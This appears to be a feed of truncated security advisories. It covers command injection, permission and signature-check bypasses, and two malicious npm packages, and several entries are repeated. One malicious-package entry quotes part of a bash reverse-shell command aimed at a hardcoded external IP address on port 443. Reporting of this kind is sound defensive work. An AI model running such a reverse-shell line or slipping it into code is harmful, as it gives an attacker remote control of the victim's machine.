CVE-2026-92718: Improper Verification of Cryptographic Signature

Nuclei versions before 3.11.1 cache template signature verification based only on file modification time without content checksums. Attackers can replace verified templates with unsigned malicious content and restore the original modification time to bypass signature checks and execute arbitrary...

PT-2026-94044

Name of the Vulnerable Software and Affected Versions Pelican Panel versions prior to 1.0.0-beta35 Description Startup write permissions are enforced only through disabled form controls instead of server-side authorization checks. An attacker with startup.read permission can craft Livewire state...

CVE-2026-10144 Rsbuild < 2.0.9 Command Injection via openBrowser() URL Handling

Rsbuild before 2.0.9 contains a command injection vulnerability that allows attackers to execute arbitrary OS commands by supplying a crafted URL containing shell metacharacters to the server.open configuration on macOS. The openBrowser function in packages/core/src/server/open.ts passes the URL...

Malicious code in strapi-plugin-revs-meeb322k (npm)

Source: amazon-inspector d76370f1e289c374fef3b0cea33d2c21fcaa09e7937ecf6d8ba6386916225878 [email protected] ships a postinstall.js registered as scripts.postinstall in package.json. On npm install, the script runs childprocess.exec of bash -c 'bash -i /dev/tcp/14.225.210.85/443 0&...

Malicious code in strapi-plugin-rs-meeb322k (npm)

Source: amazon-inspector 6293e711bb544c63fcc29178febb4100cee80f9cbd1060b3c3173445419a172c postinstall.js runs unconditionally during npm install via scripts.postinstall and executes a bash reverse shell that redirects an interactive shell's stdio to a TCP socket at the hardcoded external address...

AZL-107969 CVE-2026-85013 affecting package environment-modules for versions less than 5.3.2-1

A flaw was found in environment-modules. A local attacker can exploit this vulnerability by placing a maliciously named modulefile in a location visible to the victim's MODULEPATH. When the victim uses Bash completion for module or ml commands, the malicious module name, containing shell...

CVE-2026-85013

A flaw was found in environment-modules. A local attacker can exploit this vulnerability by placing a maliciously named modulefile in a location visible to the victim's MODULEPATH. When the victim uses Bash completion for module or ml commands, the malicious module name, containing shell...

CVE-2026-91936

Flowise versions before 3.1.4 contain a script injection vulnerability in Docker image build workflows where workflowdispatch inputs are directly interpolated into shell run blocks. Attackers with repository write access can inject shell metacharacters through inputs like tagversion and nodeversi...

CVE-2026-85013

A flaw was found in environment-modules. A local attacker can exploit this vulnerability by placing a maliciously named modulefile in a location visible to the victim's "MODULEPATH". When the victim uses Bash completion for "module" or "ml" commands, the malicious module name, containing shell...

CVE-2026-85013

A flaw was found in environment-modules. A local attacker can exploit this vulnerability by placing a maliciously named modulefile in a location visible to the victim's MODULEPATH. When the victim uses Bash completion for module or ml commands, the malicious module name, containing shell...

CVE-2026-55158

Conflibot warns in advance when merging a pull request will cause conflicts in other open pull requests. Prior to 1.2.1, src/index.ts builds git checkout, git merge, and git format-patch commands by interpolating the attacker-controlled pull request head.ref value into strings passed to exec. In...

CVE-2026-57133

PraisonAI is a multi-agent teams system. From 1.5.1 until 1.7.2, the shell helper exported from src/praisonai-ts/src/tools/utility-tools.ts checks only the first whitespace-delimited token against safeCommands and then passes the complete original string to childprocess.exec. A string that starts...

CVE-2026-57133

PraisonAI is a multi-agent teams system. From 1.5.1 until 1.7.2, the shell helper exported from src/praisonai-ts/src/tools/utility-tools.ts checks only the first whitespace-delimited token against safeCommands and then passes the complete original string to childprocess.exec. A string that starts...

CVE-2026-57136

PraisonAI (npm praisonai), a multi-agent teams system, contains a sandbox allowlist bypass in CommandValidator within sandbox-executor.ts. The validator checks only the first whitespace-delimited token against allowedCommands, while SandboxExecutor passes the entire command string to sh -c. An at...

EUVD-2026-78421

PraisonAI is a multi-agent teams system. From 1.2.3 until 1.7.2, CommandValidator in src/praisonai-ts/src/cli/features/sandbox-executor.ts validates only the first whitespace-delimited executable against allowedCommands, then SandboxExecutor passes the complete command string to sh -c. A command...

CVE-2026-19515 OS Command Injection via Unit Test Execution in WSO2 Integrator MI VS Code Extension Allows Arbitrary Command Execution

The WSO2 Integrator MI VS Code extension fails to properly sanitize or validate user-supplied input when processing Micro Integrator projects opened from untrusted sources. This allows a crafted project to inject and execute arbitrary operating system commands through the unit test execution flow...

CVE-2026-80217

Hidden functionality issue exists in FF-RFI079I4 and FF-RFI078I4, which may allow a user who can log in via SSH and access the enable mode on the product to execute arbitrary OS commands...

CVE-2026-80217

A hidden functionality issue in Liteon FF-RFI079I4 and FF-RFI078I4 devices allows a user who can log in via SSH and access enable mode to execute arbitrary OS commands , leading to high impact on confidentiality, integrity, and availability (CVSS 3.0: 8.8 HIGH ). The CISA SSVC rating indicates no...

CVE-2026-80217

Hidden functionality issue exists in FF-RFI079I4 and FF-RFI078I4, which may allow a user who can log in via SSH and access the enable mode on the product to execute arbitrary OS commands...

CVE-2026-77853

Improper neutralization of special elements used in an OS command 'OS Command Injection' issue exists in FF-RFI079I4 and FF-RFI078I4. A user who can log in to the product's M-Plane NETCONF may execute arbitrary OS commands...